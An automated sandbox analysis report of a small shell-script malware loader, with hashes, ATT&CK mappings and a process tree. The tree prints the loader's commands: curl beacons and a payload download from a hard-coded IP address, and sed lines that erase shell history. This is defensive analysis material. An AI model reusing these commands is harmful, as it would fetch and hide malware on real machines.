c6da028e0a8a25a35efa28ba508a556d1b53d1e61113c0aaebf31a49a5668912

Analysis

max time kernel
3s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/10/2026, 06:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c6da028e0a8a25a35efa28ba508a556d1b53d1e61113c0aaebf31a49a5668912.bin.sh
Size 4KB
Sample261002-hljxvstemg
SHA256 c6da028e0a8a25a35efa28ba508a556d1b53d1e61113c0aaebf31a49a5668912
MD5 026c589e1a7bb107f4aa8cd6bcaeca03
SHA1 90ccdd4711519d8ca24c43d86abc5dfd5bff900e
SHA512 dcdaaeb9b1ed4c52c0e9b22f0d550101265ca8cb5ac5522f9eb29a6b8e0e7ebecd9db8ad3e1b24a6d4412dd37dd11b245414e47058be09389353a7272ee885c2
SSDEEP 96:hp+rGg0fZxaGrDTeDon1wFfX8kcfZ+wFD:hUGg0prgTlXwfJ5
TLSH
T1A7912EF6F3A02A31364C806B716D11506AEB6D7F42D576ACA046FC2A319C85CF57837A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
766	sed

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
752	base64

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/235/cmdline	pkill
File opened for reading	/proc/342/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/79/status	pkill
File opened for reading	/proc/125/status	pkill
File opened for reading	/proc/151/status	pkill
File opened for reading	/proc/675/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/75/status	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/235/status	pkill
File opened for reading	/proc/713/status	pkill
File opened for reading	/proc/736/cmdline	pkill
File opened for reading	/proc/485/status	pkill
File opened for reading	/proc/714/status	pkill
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/377/status	pkill
File opened for reading	/proc/714/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/126/cmdline	pkill
File opened for reading	/proc/721/cmdline	pkill
File opened for reading	/proc/726/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/37/cmdline	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/72/cmdline	pkill
File opened for reading	/proc/686/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/151/cmdline	pkill
File opened for reading	/proc/162/status	pkill
File opened for reading	/proc/182/cmdline	pkill
File opened for reading	/proc/323/cmdline	pkill
File opened for reading	/proc/346/cmdline	pkill
File opened for reading	/proc/387/status	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/75/cmdline	pkill
File opened for reading	/proc/711/status	pkill
File opened for reading	/proc/736/status	pkill
File opened for reading	/proc/69/status	pkill
File opened for reading	/proc/82/status	pkill
File opened for reading	/proc/219/cmdline	pkill
File opened for reading	/proc/704/status	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/219/status	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/323/status	pkill
File opened for reading	/proc/669/status	pkill
File opened for reading	/proc/677/cmdline	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/7/status	pkill

/tmp/c6da028e0a8a25a35efa28ba508a556d1b53d1e61113c0aaebf31a49a5668912.bin.sh
/tmp/c6da028e0a8a25a35efa28ba508a556d1b53d1e61113c0aaebf31a49a5668912.bin.sh
1⤵
PID:714
- /bin/uname
  uname -r
  2⤵
  PID:724
- /usr/bin/whoami
  whoami
  2⤵
  PID:729
- /bin/mktemp
  mktemp -d
  2⤵
  PID:732
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.securityd
  2⤵
  - Reads runtime system information
  PID:734
- /usr/bin/pkill
  pkill -9 -f com.apple.periodic
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:736
- /bin/sleep
  sleep 0.3
  2⤵
  PID:740
- /usr/bin/arch
  arch
  2⤵
  PID:748
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:752
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:754
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:755
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:756
- /bin/uname
  uname -m
  2⤵
  PID:758
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"1f86f581883902e1\",\"src\":\"http://45.131.215.56/a7a11f95?force=1\"}" -m 5
  2⤵
  PID:757
- /usr/bin/head
  head -c 32
  2⤵
  PID:762
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  PID:764
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://45.131.215.56/4e04813226b1b93?force=1" -o /tmp/tmp.zRZbm748PV/.Y0SB_N
  2⤵
  - Reads runtime system information
  PID:765
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  PID:766
- /bin/rm
  rm -rf /tmp/tmp.zRZbm748PV
  2⤵
  PID:768
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"1f86f581883902e1\",\"src\":\"http://45.131.215.56/a7a11f95?force=1\"}" -m 3
  2⤵
  - Reads runtime system information
  PID:767

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Unsecured Credentials

T1552

Bash History

T1552.003

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads